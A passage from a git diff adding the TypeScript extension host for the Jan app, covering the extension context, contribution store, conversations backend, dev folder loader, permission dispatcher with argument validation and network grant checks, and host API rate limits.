on other platforms and never enters the bundle graph.+if (IS_MACOS) {+ HOST_BUILTINS.push({+ manifest: manifestOf({ name: mlx.name, version: mlx.version, jan: mlx.jan }),+ load: () => import('@janhq/mlx-extension'),+ })+}++export function getHostBuiltins(+ opts: { mobile?: boolean } = {}+): BuiltinExtension[] {+ return HOST_BUILTINS.filter((b) => (opts.mobile ? b.mobile : true))+}diff --git a/web-app/src/lib/extensions/context.ts b/web-app/src/lib/extensions/context.tsnew file mode 100644index 000000000..b7ccb0a8a--- /dev/null+++ b/web-app/src/lib/extensions/context.ts@@ -0,0 +1,128 @@+import {+ DisposableStore,+ type Event,+ type ExtensionContext,+ type JsonValue,+ type SettingValue,+ type ValidatedManifest,+} from '@janhq/extension-api'+import type {+ HostArgs,+ HostEventName,+ HostEvents,+ HostMethod,+ HostResult,+} from '@janhq/extension-runtime'+import type { InternalExtensionContext } from '@janhq/core'+import {+ BUILTIN_LIMITS,+ createHostApi,+ createLogger,+ type HostApiDeps,+} from './host-api'++export type { Notify } from './host-api'++/** What a context is built on; shared by every extension of one host. */+export type ContextDeps = HostApiDeps++/**+ * Builds the in-process `ExtensionContext` of a built-in. Every gated call+ * goes through `PermissionDispatcher.dispatch`, the path worker requests+ * take too, and is checked at call time, so a later revoke takes effect+ * without rebuilding the context.+ */+export function createContext(+ manifest: ValidatedManifest,+ deps: ContextDeps+): ExtensionContext+export function createContext(+ manifest: ValidatedManifest,+ deps: ContextDeps,+ internal: InternalExtensionContext['internal']+): InternalExtensionContext+export function createContext(+ manifest: ValidatedManifest,+ deps: ContextDeps,+ internal?: InternalExtensionContext['internal']+): ExtensionContext | InternalExtensionContext {+ const api = createHostApi(manifest, deps, BUILTIN_LIMITS)+ const call = <M extends HostMethod>(+ method: M,+ ...args: HostArgs<M>+ ): HostResult<M> => deps.dispatcher.dispatch(manifest, api, method, args)+ // Async API methods report denials as rejections, never as sync throws.+ const callAsync = async <M extends HostMethod>(+ method: M,+ ...args: HostArgs<M>+ ): Promise<Awaited<HostResult<M>>> =>+ (await call(method, ...args)) as Awaited<HostResult<M>>+ // Not through `call`: the name/listener pairing is a union TypeScript+ // cannot spread generically, and dispatch validates it anyway.+ const subscribe =+ <E extends HostEventName>(name: E): Event<HostEvents[E]> =>+ (listener) =>+ deps.dispatcher.dispatch(manifest, api, 'events.subscribe', [+ name,+ listener,+ ])++ const ctx: ExtensionContext = {+ extension: {+ id: manifest.id,+ version: manifest.version,+ displayName: manifest.displayName,+ },+ subscriptions: new DisposableStore(),+ // Logging is implicit and in process; it skips the dispatcher so a+ // built-in's log line costs nothing more than console.+ log: createLogger(manifest.id),+ settings: {+ get: async <T extends SettingValue>(key: string) =>+ (await callAsync('settings.get', key)) as T | undefined,+ set: (key, value) => callAsync('settings.set', key, value),+ onDidChange: subscribe('settings.didChange'),+ },+ storage: {+ get: async <T extends JsonValue>(key: string) =>+ (await callAsync('storage.get', key)) as T | undefined,+ set: (key, value) => callAsync('storage.set', key, value),+ delete: (key) => callAsync('storage.delete', key),+ keys: () => callAsync('storage.keys'),+ },+ commands: {+ registerCommand: (id, handler) =>+ call('commands.register', id, handler),+ execute: async <T>(id: string, ...args: JsonValue[]) =>+ (await callAsync('commands.execute', id, ...args)) as T,+ },+ ui: {+ notify: (notification) => call('ui.notify', notification),+ setStatusItem: (id, update) => call('ui.setStatusItem', id, update),+ },+ conversations: {+ listThreads: () => callAsync('conversations.listThreads'),+ getThread: (id) => callAsync('conversations.getThread', id),+ listMessages: (threadId, opts) =>+ callAsync('conversations.listMessages', threadId, opts),+ createThread: (input) => callAsync('conversations.createThread', input),+ appendMessage: (threadId, msg) =>+ callAsync('conversations.appendMessage', threadId, msg),+ onDidCreateMessage: subscribe('conversations.didCreateMessage'),+ onDidDeleteThread: subscribe('conversations.didDeleteThread'),+ },+ tools: {+ registerTool: (name, handler) => call('tools.register', name, handler),+ },+ providers: {+ registerProvider: (id, handlers) =>+ call('providers.register', id, handlers),+ },+ http: {+ fetch: (url, init) => callAsync('http.fetch', url, init),+ },+ // No proposal is implemented yet.+ proposed: {},+ }+ return internal ? { ...ctx, internal } : ctx+}diff --git a/web-app/src/lib/extensions/contributions.ts b/web-app/src/lib/extensions/contributions.tsnew file mode 100644index 000000000..cd6ee9c6b--- /dev/null+++ b/web-app/src/lib/extensions/contributions.ts@@ -0,0 +1,280 @@+import { create, type StoreApi } from 'zustand'+import {+ ExtensionError,+ toDisposable,+ type CommandContext,+ type CommandContribution,+ type CommandHandler,+ type Disposable,+ type JsonValue,+ type MenuItemContribution,+ type MenuLocation,+ type ProviderContribution,+ type ProviderHandlers,+ type SettingContribution,+ type StatusItemContribution,+ type ToolContribution,+ type ToolHandler,+ type ValidatedManifest,+} from '@janhq/extension-api'+import type { L10nTables } from './l10n'++export type RegisteredCommand = CommandContribution & {+ handler?: CommandHandler+}+export type RegisteredTool = ToolContribution & { handler?: ToolHandler }+export type RegisteredProvider = ProviderContribution & {+ handler?: ProviderHandlers+}++/**+ * Everything extensions contribute to the host UI, keyed by extension id and+ * then by the id the manifest declared. Keying by extension first is what+ * lets two extensions both declare a command `hello`.+ */+export interface ContributionState {+ /**+ * Text fields across the slices are kept as the manifest wrote them;+ * renderers resolve `%key%` through `l10n` (see `./l10n`) so a language+ * switch needs no write here.+ */+ extensions: Record<string, { displayName: string; l10n?: L10nTables }>+ commands: Record<string, Record<string, RegisteredCommand>>+ menus: Record<string, Partial<Record<MenuLocation, MenuItemContribution[]>>>+ statusItems: Record<string, Record<string, StatusItemContribution>>+ settings: Record<string, SettingContribution[]>+ tools: Record<string, Record<string, RegisteredTool>>+ providers: Record<string, Record<string, RegisteredProvider>>+}++const emptyState = (): ContributionState => ({+ extensions: {},+ commands: {},+ menus: {},+ statusItems: {},+ settings: {},+ tools: {},+ providers: {},+})++/**+ * `record[key]` only if `record` holds it itself. Contribution ids come+ * from extensions, and a plain lookup of `constructor` or `toString` would+ * find what every object inherits and pass for a declared entry.+ */+export function own<T>(+ record: Readonly<Record<string, T>> | undefined,+ key: string+): T | undefined {+ return record !== undefined &&+ Object.prototype.hasOwnProperty.call(record, key)+ ? record[key]+ : undefined+}++/** A null-prototype copy of `record` with `key` set to `value`. */+function withEntry<T>(+ record: Readonly<Record<string, T>> | undefined,+ key: string,+ value: T+): Record<string, T> {+ const next: Record<string, T> = Object.assign(Object.create(null), record)+ next[key] = value+ return next+}++// Null-prototype, so nothing inherited is there to be found even by a+// lookup that forgets `own`.+const byId = <T, K extends keyof T>(+ items: T[] | undefined,+ field: K+): Record<string, T> => {+ const record: Record<string, T> = Object.create(null)+ for (const item of items ?? []) record[String(item[field])] = item+ return record+}++const without = <T>(+ record: Record<string, T>,+ id: string+): Record<string, T> => {+ const next = { ...record }+ delete next[id]+ return next+}++/** The app-wide contributions, read by the host renderers. */+export const useContributions = create<ContributionState>()(emptyState)++interface HandlerEntries {+ commands: RegisteredCommand+ tools: RegisteredTool+ providers: RegisteredProvider+}+type HandlerSlice = keyof HandlerEntries++/** The slices that carry runtime bindings, typed per slice. */+const handlerSlices = (+ s: ContributionState+): { [K in HandlerSlice]: Record<string, Record<string, HandlerEntries[K]>> } =>+ s++/**+ * Writes to a contributions store. Declarations come only from manifests;+ * extensions can bind handlers to what they declared but never add entries+ * at runtime, so the UI and the consent screen show the same set.+ */+export class ContributionStore {+ constructor(+ private readonly store: StoreApi<ContributionState> = create<ContributionState>()(+ emptyState+ )+ ) {}++ getState(): ContributionState {+ return this.store.getState()+ }++ /** Adds every declared contribution of `manifest`; dispose removes them all. */+ registerExtension(manifest: ValidatedManifest): Disposable {+ const { id, contributes = {} } = manifest+ if (own(this.getState().extensions, id)) {+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Extension '${id}' is already registered`+ )+ }+ this.store.setState((s) => ({+ extensions: {+ ...s.extensions,+ [id]: { displayName: manifest.displayName, l10n: manifest.l10n },+ },+ commands: { ...s.commands, [id]: byId(contributes.commands, 'id') },+ menus: { ...s.menus, [id]: contributes.menus ?? {} },+ statusItems: {+ ...s.statusItems,+ [id]: byId(contributes.statusItems, 'id'),+ },+ settings: { ...s.settings, [id]: contributes.settings ?? [] },+ tools: { ...s.tools, [id]: byId(contributes.tools, 'name') },+ providers: { ...s.providers, [id]: byId(contributes.providers, 'id') },+ }))+ return toDisposable(() =>+ this.store.setState((s) => ({+ extensions: without(s.extensions, id),+ commands: without(s.commands, id),+ menus: without(s.menus, id),+ statusItems: without(s.statusItems, id),+ settings: without(s.settings, id),+ tools: without(s.tools, id),+ providers: without(s.providers, id),+ }))+ )+ }++ registerCommand(+ extensionId: string,+ commandId: string,+ handler: CommandHandler+ ): Disposable {+ return this.bind('commands', extensionId, commandId, handler)+ }++ registerTool(+ extensionId: string,+ name: string,+ handler: ToolHandler+ ): Disposable {+ return this.bind('tools', extensionId, name, handler)+ }++ registerProvider(+ extensionId: string,+ providerId: string,+ handlers: ProviderHandlers+ ): Disposable {+ return this.bind('providers', extensionId, providerId, handlers)+ }++ setStatusItem(+ extensionId: string,+ itemId: string,+ update: { text?: string; tooltip?: string }+ ): void {+ const item = own(own(this.getState().statusItems, extensionId), itemId)+ if (!item)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `Status item '${itemId}' is not declared`+ )+ this.store.setState((s) => ({+ statusItems: {+ ...s.statusItems,+ [extensionId]: withEntry(own(s.statusItems, extensionId), itemId, {+ ...item,+ ...update,+ }),+ },+ }))+ }++ /** Runs a bound command of one extension. */+ async executeCommand(+ extensionId: string,+ commandId: string,+ context: CommandContext,+ ...args: JsonValue[]+ ): Promise<unknown> {+ const handler = own(own(this.getState().commands, extensionId), commandId)+ ?.handler+ if (!handler)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `Command '${commandId}' has no handler`+ )+ return handler(context, ...args)+ }++ private bind<S extends HandlerSlice>(+ slice: S,+ extensionId: string,+ entryId: string,+ value: NonNullable<HandlerEntries[S]['handler']>+ ): Disposable {+ const read = () =>+ own(own(handlerSlices(this.getState())[slice], extensionId), entryId)+ const entry = read()+ if (!entry)+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `'${entryId}' is not declared in contributes.${slice}`+ )+ if (entry.handler !== undefined)+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `'${entryId}' is already registered`+ )+ const set = (next: typeof value | undefined) =>+ this.store.setState((s) => {+ const entries = handlerSlices(s)[slice]+ const current = own(entries, extensionId)+ const entry = own(current, entryId)+ if (!entry) return {}+ return {+ [slice]: {+ ...entries,+ [extensionId]: withEntry<HandlerEntries[S]>(current, entryId, {+ ...entry,+ handler: next,+ }),+ },+ }+ })+ set(value)+ return toDisposable(() => {+ // The extension may have been unregistered and registered again since;+ // only clear the binding if it is still this one.+ if (read()?.handler === value) set(undefined)+ })+ }+}diff --git a/web-app/src/lib/extensions/conversations.ts b/web-app/src/lib/extensions/conversations.tsnew file mode 100644index 000000000..c097d95c0--- /dev/null+++ b/web-app/src/lib/extensions/conversations.ts@@ -0,0 +1,144 @@+import {+ ExtensionError,+ type ConversationsApi,+ type MessageInfo,+ type ThreadInfo,+} from '@janhq/extension-api'+import {+ ContentType,+ MessageStatus,+ type ChatCompletionRole,+ type ThreadMessage,+} from '@janhq/core'+import { ulid } from 'ulidx'+import { TEMPORARY_CHAT_ID } from '@/constants/chat'+import type { ServiceHub } from '@/services'++type ConversationServices = Pick<ServiceHub, 'threads' | 'messages'>++// Stored timestamps mix seconds and milliseconds (older threads and messages+// were written in ms); the public DTOs are always epoch milliseconds.+const toMillis = (t: number | undefined): number => {+ if (typeof t !== 'number' || !Number.isFinite(t)) return 0+ return t > 1e12 ? Math.floor(t) : Math.floor(t * 1000)+}++// The threads service hands back the stored record spread into the app's+// Thread, so `created` is present at runtime but not in the app type.+const toThreadInfo = (thread: Thread & { created?: number }): ThreadInfo => ({+ id: thread.id,+ title: thread.title,+ updatedAt: toMillis(thread.updated),+ createdAt: toMillis(thread.created ?? thread.updated),+})++const toMessageInfo = (message: ThreadMessage): MessageInfo => ({+ id: message.id,+ threadId: message.thread_id,+ role: message.role,+ text: (message.content ?? [])+ .filter((part) => part.type === ContentType.Text)+ .map((part) => part.text?.value ?? '')+ .join(''),+ createdAt: toMillis(message.created_at),+})++const notFound = (threadId: string) =>+ new ExtensionError('E_NOT_FOUND', `Thread '${threadId}' does not exist`)++/**+ * The backend of `ctx.conversations`: the app's threads and messages+ * services mapped to the public DTOs. The context checks the+ * `conversations:*` grants before any call reaches this object. The+ * temporary chat is in-memory UI state and is never exposed.+ */+export function createConversationsApi(+ hub: () => ConversationServices+): ConversationsApi {+ const findThread = async (id: string) => {+ if (id === TEMPORARY_CHAT_ID) return undefined+ const threads = await hub().threads().fetchThreads()+ return threads.find((t) => t.id === id)+ }++ return {+ listThreads: async () =>+ (await hub().threads().fetchThreads()).map((thread) => {+ const { id, title, updatedAt } = toThreadInfo(thread)+ return { id, title, updatedAt }+ }),++ getThread: async (id) => {+ const thread = await findThread(id)+ return thread && toThreadInfo(thread)+ },++ listMessages: async (threadId, opts = {}) => {+ const { limit, before } = opts+ if (limit !== undefined && (!Number.isInteger(limit) || limit < 1)) {+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ 'limit must be a positive integer'+ )+ }+ if (threadId === TEMPORARY_CHAT_ID) return []+ let messages = await hub().messages().fetchMessages(threadId)+ if (before !== undefined) {+ const index = messages.findIndex((m) => m.id === before)+ if (index < 0) {+ throw new ExtensionError(+ 'E_NOT_FOUND',+ `Message '${before}' does not exist`+ )+ }+ messages = messages.slice(0, index)+ }+ // A page is the newest `limit` messages, still oldest first.+ if (limit !== undefined) messages = messages.slice(-limit)+ return messages.map(toMessageInfo)+ },++ createThread: async ({ title }) => {+ const created = await hub()+ .threads()+ .createThread({+ id: ulid(),+ title,+ updated: Date.now() / 1000,+ assistants: [],+ })+ return toThreadInfo(created)+ },++ appendMessage: async (threadId, { role, text }) => {+ if (!(await findThread(threadId))) throw notFound(threadId)+ const now = Date.now()+ const message: ThreadMessage = {+ id: ulid(),+ object: 'thread.message',+ thread_id: threadId,+ role: role as ChatCompletionRole,+ content: [+ { type: ContentType.Text, text: { value: text, annotations: [] } },+ ],+ status: MessageStatus.Ready,+ created_at: now,+ completed_at: now,+ }+ return toMessageInfo(await hub().messages().createMessage(message))+ },++ onDidCreateMessage: (listener) =>+ hub()+ .messages()+ .onDidCreateMessage((message) =>+ listener({+ threadId: message.thread_id,+ message: toMessageInfo(message),+ })+ ),++ onDidDeleteThread: (listener) =>+ hub().threads().onDidDeleteThread(listener),+ }+}diff --git a/web-app/src/lib/extensions/dev-loader.ts b/web-app/src/lib/extensions/dev-loader.tsnew file mode 100644index 000000000..320f0c96f--- /dev/null+++ b/web-app/src/lib/extensions/dev-loader.ts@@ -0,0 +1,108 @@+import { validateManifest, type ValidatedManifest } from '@janhq/extension-api'+import { assertBundleShape } from '@janhq/extension-runtime'+import { fs, joinPath } from '@janhq/core'+import { getExtensionHost, type HostedExtension } from './host'++/**+ * Why a folder could not be loaded. `code` picks the+ * `extensions:devLoad.<code>` message and `params` fills it.+ */+export type DevLoadErrorCode =+ | 'readFailed'+ | 'invalidJson'+ | 'invalidManifest'+ | 'invalidBundle'+ | 'alreadyLoaded'++export class DevLoadError extends Error {+ constructor(+ readonly code: DevLoadErrorCode,+ readonly params: Record<string, string> = {}+ ) {+ super(`${code}: ${JSON.stringify(params)}`)+ this.name = 'DevLoadError'+ }+}++/** A folder's manifest and bundle, read and validated but not started. */+export interface UnpackedExtension {+ dir: string+ manifest: ValidatedManifest+ bundle: string+}++async function readText(dir: string, file: string): Promise<string> {+ try {+ const content: unknown = await fs.readFileSync(await joinPath([dir, file]))+ if (typeof content !== 'string') throw new Error('not a text file')+ return content+ } catch (error) {+ throw new DevLoadError('readFailed', {+ file,+ error: error instanceof Error ? error.message : String(error),+ })+ }+}++/**+ * Reads `package.json` and its `jan.main` bundle from an extension folder.+ * `validateManifest` refuses a `main` that is absolute or has `..` in it,+ * so the bundle path cannot leave the folder. The bundle must have the+ * shape the worker runtime accepts (`assertBundleShape`), checked here so+ * the developer sees why before confirming anything.+ */+export async function readUnpacked(folder: string): Promise<UnpackedExtension> {+ const dir = folder.replace(/[\\/]+$/, '')+ let pkg: unknown+ try {+ pkg = JSON.parse(await readText(dir, 'package.json'))+ } catch (error) {+ if (error instanceof DevLoadError) throw error+ throw new DevLoadError('invalidJson', {+ error: error instanceof Error ? error.message : String(error),+ })+ }+ const result = validateManifest(pkg)+ if (!result.ok)+ throw new DevLoadError('invalidManifest', {+ errors: result.errors.map((e) => `${e.path}: ${e.message}`).join('; '),+ })+ const main = result.manifest.main.replace(/^\.\//, '')+ const bundle = await readText(dir, main)+ try {+ assertBundleShape(bundle)+ } catch (error) {+ throw new DevLoadError('invalidBundle', {+ file: main,+ error: error instanceof Error ? error.message : String(error),+ })+ }+ return { dir, manifest: result.manifest, bundle }+}++/**+ * Starts a folder read by `readUnpacked` as a `dev` worker extension,+ * granted every permission its manifest requests: the developer already+ * confirmed them. Nothing is persisted, so it is gone after a restart. A+ * dev load that is not running is replaced, so a fixed folder can be retried.+ */+export async function loadUnpacked(+ unpacked: UnpackedExtension+): Promise<HostedExtension> {+ const host = getExtensionHost()+ const { manifest, bundle } = unpacked+ const existing = host.list().find((e) => e.id === manifest.id)+ if (existing) {+ const running =+ existing.state === 'active' || existing.state === 'activating'+ if (existing.source !== 'dev' || running)+ throw new DevLoadError('alreadyLoaded', { id: manifest.id })+ await host.unload(manifest.id)+ }+ return host.spawnWorkerExtension({+ manifest,+ bundle,+ grants: manifest.permissions,+ source: 'dev',+ })+}diff --git a/web-app/src/lib/extensions/dispatcher.ts b/web-app/src/lib/extensions/dispatcher.tsnew file mode 100644index 000000000..c97ad6f26--- /dev/null+++ b/web-app/src/lib/extensions/dispatcher.ts@@ -0,0 +1,279 @@+import { z, type ZodType } from 'zod'+import {+ ExtensionError,+ isContributionId,+ networkHostMatches,+ networkHostOf,+ type JsonValue,+ type PermissionString,+ type ValidatedManifest,+} from '@janhq/extension-api'+import type {+ HostArgs,+ HostEvents,+ HostMethod,+ HostResult,+} from '@janhq/extension-runtime'+import type { CallOptions, HostApi } from './host-api'+import { matchesNetwork } from './permissions'++/**+ * Which grant a call needs. A function decides from the validated arguments,+ * for the methods whose permission depends on what they touch.+ */+export type PermissionCheck =+ | PermissionString+ | ((+ args: unknown[],+ manifest: ValidatedManifest,+ dispatcher: PermissionDispatcher+ ) => void)++export interface MethodPolicy<M extends HostMethod> {+ permission: PermissionCheck | 'implicit'+ args: ZodType<HostArgs<M>>+}++const fn = <F>() =>+ z.custom<F>((v) => typeof v === 'function', 'Expected a function')++const json: ZodType<JsonValue> = z.json()+const id = z.string().min(1).max(256)+// Command, status item, tool and provider ids, in the manifest's grammar.+const contributionId = z+ .string()+ .refine(isContributionId, 'Expected a contribution id as in the manifest')+const settingValue = z.union([z.string(), z.number(), z.boolean()])+const statusUpdate = z.strictObject({+ text: z.string().max(256).optional(),+ tooltip: z.string().max(1024).optional(),+})+const httpInit = z.strictObject({+ method: z.enum(['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD']).optional(),+ headers: z.record(z.string(), z.string()).optional(),+ body: z.string().optional(),+})+const absoluteUrl = z.string().refine((u) => URL.canParse(u), 'Expected an absolute URL')++const subscription = <E extends keyof HostEvents>(name: E) =>+ z.tuple([z.literal(name), fn<(event: HostEvents[E]) => void>()])++const eventPermission: Record<keyof HostEvents, PermissionString | 'implicit'> = {+ 'settings.didChange': 'implicit',+ 'conversations.didCreateMessage': 'conversations:read',+ 'conversations.didDeleteThread': 'conversations:read',+}++/**+ * Every host method with the grant it needs and the shape of its arguments.+ * The mapped type makes the table exhaustive: a method added to+ * `HostMethod` does not compile until it has a policy here.+ */+export const METHOD_POLICY: { [M in HostMethod]: MethodPolicy<M> } = {+ 'log': {+ permission: 'implicit',+ args: z.tuple([z.enum(['debug', 'info', 'warn', 'error'])], z.unknown()),+ },+ 'settings.get': { permission: 'implicit', args: z.tuple([id]) },+ 'settings.set': {+ permission: 'implicit',+ args: z.tuple([id, settingValue]),+ },+ 'storage.get': { permission: 'implicit', args: z.tuple([id]) },+ 'storage.set': { permission: 'implicit', args: z.tuple([id, json]) },+ 'storage.delete': { permission: 'implicit', args: z.tuple([id]) },+ 'storage.keys': { permission: 'implicit', args: z.tuple([]) },+ 'commands.register': {+ permission: 'implicit',+ args: z.tuple([contributionId, fn<HostArgs<'commands.register'>[1]>()]),+ },+ 'commands.execute': {+ // Only the extension's own commands are reachable (see createHostApi's+ // 'commands.execute' handler).+ permission: 'implicit',+ args: z.tuple([contributionId], json),+ },+ 'ui.notify': {+ permission: 'ui:notify',+ args: z.tuple([+ z.strictObject({+ level: z.enum(['info', 'success', 'warning', 'error']),+ message: z.string().max(2000),+ }),+ ]),+ },+ 'ui.setStatusItem': {+ permission: 'implicit',+ args: z.tuple([contributionId, statusUpdate]),+ },+ 'conversations.listThreads': {+ permission: 'conversations:read',+ args: z.tuple([]),+ },+ 'conversations.getThread': {+ permission: 'conversations:read',+ args: z.tuple([id]),+ },+ 'conversations.listMessages': {+ permission: 'conversations:read',+ args: z.tuple([+ id,+ z+ .strictObject({+ limit: z.int().positive().max(1000).optional(),+ before: id.optional(),+ })+ .optional(),+ ]),+ },+ 'conversations.createThread': {+ permission: 'conversations:write',+ args: z.tuple([z.strictObject({ title: z.string().max(256) })]),+ },+ 'conversations.appendMessage': {+ permission: 'conversations:write',+ args: z.tuple([+ id,+ z.strictObject({+ role: z.enum(['user', 'assistant']),+ text: z.string(),+ }),+ ]),+ },+ 'tools.register': {+ permission: 'tools',+ args: z.tuple([contributionId, fn<HostArgs<'tools.register'>[1]>()]),+ },+ 'providers.register': {+ permission: 'providers',+ args: z.tuple([+ contributionId,+ z.strictObject({+ listModels: fn<NonNullable<HostArgs<'providers.register'>[1]['listModels']>>().optional(),+ }),+ ]),+ },+ 'http.fetch': {+ permission: (args, manifest, dispatcher) =>+ dispatcher.checkUrl(manifest.id, args[0] as string),+ args: z.tuple([absoluteUrl, httpInit.optional()]),+ },+ 'events.subscribe': {+ permission: (args, manifest, dispatcher) => {+ const needed = eventPermission[args[0] as keyof HostEvents]+ if (needed !== 'implicit') dispatcher.check(manifest.id, needed)+ },+ args: z.union([+ subscription('settings.didChange'),+ subscription('conversations.didCreateMessage'),+ subscription('conversations.didDeleteThread'),+ ]),+ },+}++/**+ * The single place that decides whether an extension may make a host call.+ * Built-ins are granted what their manifest requests; workers what the+ * user granted. Both runtimes reach the host only through `dispatch`, so+ * there is one enforcement path.+ */+export class PermissionDispatcher {+ private readonly grants = new Map<string, ReadonlySet<PermissionString>>()++ /**+ * @param localApiPort The port of Jan's local API server right now, read+ * per check so a changed setting applies at once. Nothing an extension+ * is granted reaches it: it serves with the user's provider keys.+ */+ constructor(private readonly localApiPort: () => number | undefined = () => undefined) {}++ /** Replaces the grants of `extensionId`. */+ grant(extensionId: string, permissions: readonly PermissionString[]): void {+ this.grants.set(extensionId, new Set(permissions))+ }++ revokeAll(extensionId: string): void {+ this.grants.delete(extensionId)+ }++ /**+ * Whether `permission` is granted. A `network:<host>` request is matched+ * against every network grant, so `network:*.acme.dev` covers+ * `network:api.acme.dev`.+ */+ has(extensionId: string, permission: PermissionString): boolean {+ const granted = this.grants.get(extensionId)+ if (!granted) return false+ if (granted.has(permission)) return true+ const host = networkHostOf(permission)+ if (host === undefined) return false+ return [...granted].some((g) => {+ const grant = networkHostOf(g)+ return grant !== undefined && networkHostMatches(grant, host)+ })+ }++ /** Throws `E_PERMISSION` unless `permission` is granted. */+ check(extensionId: string, permission: PermissionString): void {+ if (!this.has(extensionId, permission)) {+ throw new ExtensionError(+ 'E_PERMISSION',+ `Extension '${extensionId}' lacks the permission '${permission}'`+ )+ }+ }++ /** Throws `E_PERMISSION` unless some network grant allows `url`. */+ checkUrl(extensionId: string, url: string): void {+ const granted = this.grants.get(extensionId)+ const port = this.localApiPort()+ const allowed = [...(granted ?? [])].some((g) =>+ matchesNetwork(g, url, port)+ )+ if (!allowed) {+ let target = url+ try {+ const parsed = new URL(url)+ target = `${parsed.protocol}//${parsed.host}`+ } catch {+ // Reported as given.+ }+ throw new ExtensionError(+ 'E_PERMISSION',+ `Extension '${extensionId}' may not connect to ${target}`+ )+ }+ }++ /**+ * Validates `args` against the method's policy, checks the grant, then+ * runs the host implementation. Validation comes first so a permission+ * check never sees arguments of the wrong shape. Synchronous methods+ * throw, async ones reject, as the public API documents.+ */+ dispatch<M extends HostMethod>(+ manifest: ValidatedManifest,+ api: HostApi,+ method: M,+ args: unknown[],+ call: CallOptions = {}+ ): HostResult<M> {+ const policy: MethodPolicy<M> = METHOD_POLICY[method]+ const parsed = policy.args.safeParse(args)+ if (!parsed.success) {+ throw new ExtensionError(+ 'E_INVALID_ARGS',+ `Invalid arguments for '${method}': ${z.prettifyError(parsed.error)}`+ )+ }+ const { permission } = policy+ if (typeof permission === 'function')+ permission(parsed.data, manifest, this)+ else if (permission !== 'implicit') this.check(manifest.id, permission)+ const impl = api[method] as (+ call: CallOptions,+ ...a: HostArgs<M>+ ) => HostResult<M>+ return impl(call, ...parsed.data)+ }+}diff --git a/web-app/src/lib/extensions/host-api.ts b/web-app/src/lib/extensions/host-api.tsnew file mode 100644index 000000000..9d6034cc8--- /dev/null+++ b/web-app/src/lib/extensions/host-api.ts@@ -0,0 +1,385 @@+import {+ ExtensionError,+ toDisposable,+ type CommandContext,+ type ConversationsApi,+ type HttpRequestInit,+ type HttpResponse,+ type Logger,+ type NotifyLevel,+ type ValidatedManifest,+} from '@janhq/extension-api'+import {+ MAX_MESSAGE_BYTES,+ type HostArgs,+ type HostMethod,+ type HostResult,+ type LogLevel,+} from '@janhq/extension-runtime'+import type { HttpResponse as PluginHttpResponse } from '@janhq/tauri-plugin-extensions-api'+import { own, type ContributionStore } from './contributions'+import type { PermissionDispatcher } from './dispatcher'+import {+ fetchHop,+ firstHop,+ nextHop,+ withoutCookies,+ type ExtensionHttp,+} from './http'+import type {+ AppSettingsBackend,+ ExtensionSettingsStore,+} from './settings-store'+import { localize } from './l10n'+import { createExtensionStorage } from './storage'++export type Notify = (notification: {+ extensionName: string+ level: NotifyLevel+ message: string+}) => void++/** What every extension of one host shares. */+export interface HostApiDeps {+ dispatcher: PermissionDispatcher+ contributions: ContributionStore+ settings: ExtensionSettingsStore+ storage: AppSettingsBackend+ notify: Notify+ conversations?: ConversationsApi+ /**+ * The network path of `ctx.http.fetch`. Only installed extensions get+ * one: the plugin checks their grants in extensions.json, where neither+ * built-ins nor folders loaded for development have an entry.+ */+ http?: ExtensionHttp+}++/** Per-call context the dispatcher hands to an implementation. */+export interface CallOptions {+ /** Aborted when the caller cancels or its worker goes away. */+ signal?: AbortSignal+}++/** The host methods of one extension, before any check. */+export type HostApi = {+ [M in HostMethod]: (+ call: CallOptions,+ ...args: HostArgs<M>+ ) => HostResult<M>+}++/** Requests one extension may have running at once. */+export const MAX_CONCURRENT_FETCHES = 8+/** Listeners one extension may hold on one event. */+export const MAX_SUBSCRIPTIONS_PER_EVENT = 16+/** What one log line may carry, after the level. */+export const MAX_LOG_ARGS = 16+export const MAX_LOG_CHARS = 4096+/** Log lines one extension may write: a burst, then this many a second. */+export const LOG_LINES_BURST = 50+export const LOG_LINES_PER_SECOND = 10+/**+ * Characters one extension may log per window. app.log rotates at+ * 10 MB x 5, so one extension can push at most a fraction of it out.+ */+export const LOG_WINDOW_MS = 10 * 60_000+export const MAX_LOG_CHARS_PER_WINDOW = 1024 * 1024++/**+ * A token bucket: `capacity` calls at once, refilled at `perSecond`.+ * Bounds what one extension can push at the main thread, the toasts and+ * app.log, whatever loop it runs.+ */+export function rateLimiter(+ capacity: number,+ perSecond: number,+ now: () => number = Date.now+): () => boolean {+ let tokens = capacity+ let last = now()+ return () => {+ const t = now()+ tokens = Math.min(capacity, tokens + ((t - last) / 1000) * perSecond)+ last = t+ if (tokens < 1) return false+ tokens -= 1+ return true+ }+}++function logText(value: unknown): string {+ if (typeof value === 'string') return value+ if (value instanceof Error) return value.stack ?? value.message+ try {+ return JSON.stringify(value) ?? String(value)+ } catch {+ return String(value)+ }+}++/**+ * The limits a worker extension runs under. Built-ins are Jan's own code+ * and get none: a download built-in may toast progress, hold many+ * listeners or run many requests (see `createHostApi`).+ */+export interface HostApiLimits {+ /** Notifications: a burst of 5, then one every 2 s. */+ notifyRate: boolean+ /** MAX_SUBSCRIPTIONS_PER_EVENT listeners per event. */+ subscriptions: boolean+ /** MAX_CONCURRENT_FETCHES requests at once. */+ fetchConcurrency: boolean+}++export const WORKER_LIMITS: HostApiLimits = {+ notifyRate: true,+ subscriptions: true,+ fetchConcurrency: true,+}++export const BUILTIN_LIMITS: HostApiLimits = {+ notifyRate: false,+ subscriptions: false,+ fetchConcurrency: false,+}++/** At most MAX_LOG_ARGS arguments and MAX_LOG_CHARS characters in all. */+function capLogArgs(args: unknown[]): string[] {+ let budget = MAX_LOG_CHARS+ const out: string[] = []+ for (const arg of args.slice(0, MAX_LOG_ARGS)) {+ if (budget <= 0) break+ const text = logText(arg)+ out.push(+ text.length > budget ? `${text.slice(0, budget)}... [truncated]` : text+ )+ budget -= text.length+ }+ if (args.length > MAX_LOG_ARGS) out.push(`... [${args.length - MAX_LOG_ARGS} more]`)+ return out+}++const tooMany = (what: string) =>+ new ExtensionError('E_TOO_LARGE', `Too many ${what}`)++export function createLogger(extensionId: string): Logger {+ const tag = `[ext:${extensionId}]`+ // console, not the Tauri log plugin: the app's console interceptor already+ // forwards to app.log, and writing to both would duplicate lines.+ return {+ debug: (...args) => console.debug(tag, ...args),+ 